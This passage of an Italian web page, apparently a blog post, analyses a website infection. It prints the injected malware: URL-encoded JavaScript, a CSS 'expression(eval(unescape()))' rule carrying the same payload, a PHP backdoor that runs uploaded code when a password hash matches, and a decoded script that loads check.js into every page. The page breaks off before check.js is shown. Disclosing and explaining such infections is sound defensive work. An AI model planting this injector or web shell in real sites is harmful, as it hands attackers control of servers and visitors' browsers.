style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">54</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span>4E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #0000ff;">'));
/* a995d2cc661fa72452472e9554b5520c */</span></pre></td></tr></table></div>

<p class="bbcode">Mentre nei <strong>Fogli di Stile (.css)</strong> viene inserito questo codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* a0b4df006e02184c60dbf503e71c87ad */</span>
body <span style="color: #009900;">&#123;</span> margin<span style="color: #339933;">-</span>top<span style="color: #339933;">:</span> expression<span style="color: #009900;">&#40;</span><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span>’<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">21</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">49</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>7B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">31</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">35</span><span style="color: #339933;">%</span><span style="color:#800080;">39</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">34</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">38</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">33</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">76</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">54</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span>4E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #0000ff;">'))) }
/* a995d2cc661fa72452472e9554b5520c */</span></pre></td></tr></table></div>

<p class="bbcode">In alcune situazioni è capitato di individuare del codice inserito anche nelle pagine <strong>Php (.php;.php3)</strong>.Tale codice serve a colui che attacca per verificare la presenza di vulnerabilità nella vittima e, in particolare, per verificare che eventuali inclusioni esterne vengano elaborate correttamente.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">echo</span> “<span style="color: #000088;">$t</span>\n”<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>     say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span>”testdata_<span style="color: #000088;">$t</span>”<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> “ ”<span style="color: #339933;">;</span> testdata<span style="color: #009900;">&#40;</span>’start’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>”aace99428c50dbe965acc93f3f275cd3?<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>”rb”<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;size&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
 <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span> testdata<span style="color: #009900;">&#40;</span>’f<span style="color: #0000ff;">');
 };
 }     else{testdata(’pass’); };
testdata(’end’);
echo ”  “; ?&gt;</span></pre></td></tr></table></div>

<p><br class="spacer_" /></p>
<p>Il codice presente nei <strong>CSS</strong> e nei <strong>JavaScript</strong> è stato <strong>decodificato</strong> e in chiaro appare così:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>document<span style="color: #339933;">.</span>getElementById<span style="color: #009900;">&#40;</span>’JSSS’<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
JSS1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">59</span><span style="color: #339933;">;</span>
JSS2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">159180</span><span style="color: #339933;">;</span>
JSS3 <span style="color: #339933;">=</span> ‘<span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>dummy<span style="color: #339933;">.</span>htm’<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">var</span> js <span style="color: #339933;">=</span> document<span style="color: #339933;">.</span>createElement<span style="color: #009900;">&#40;</span>’script’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
js<span style="color: #339933;">.</span>setAttribute<span style="color: #009900;">&#40;</span>’src’<span style="color: #339933;">,</span> ‘<span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>check<span style="color: #339933;">.</span>js’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
js<span style="color: #339933;">.</span>setAttribute<span style="color: #009900;">&#40;</span>’id’<span style="color: #339933;">,</span> ‘JSSS’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
document<span style="color: #339933;">.</span>getElementsByTagName<span style="color: #009900;">&#40;</span>’head’<span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>item<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>appendChild<span style="color: #009900;">&#40;</span>js<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Infine viene creato un file &#8220;<strong>check.js</strong>&#8221; contenente il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
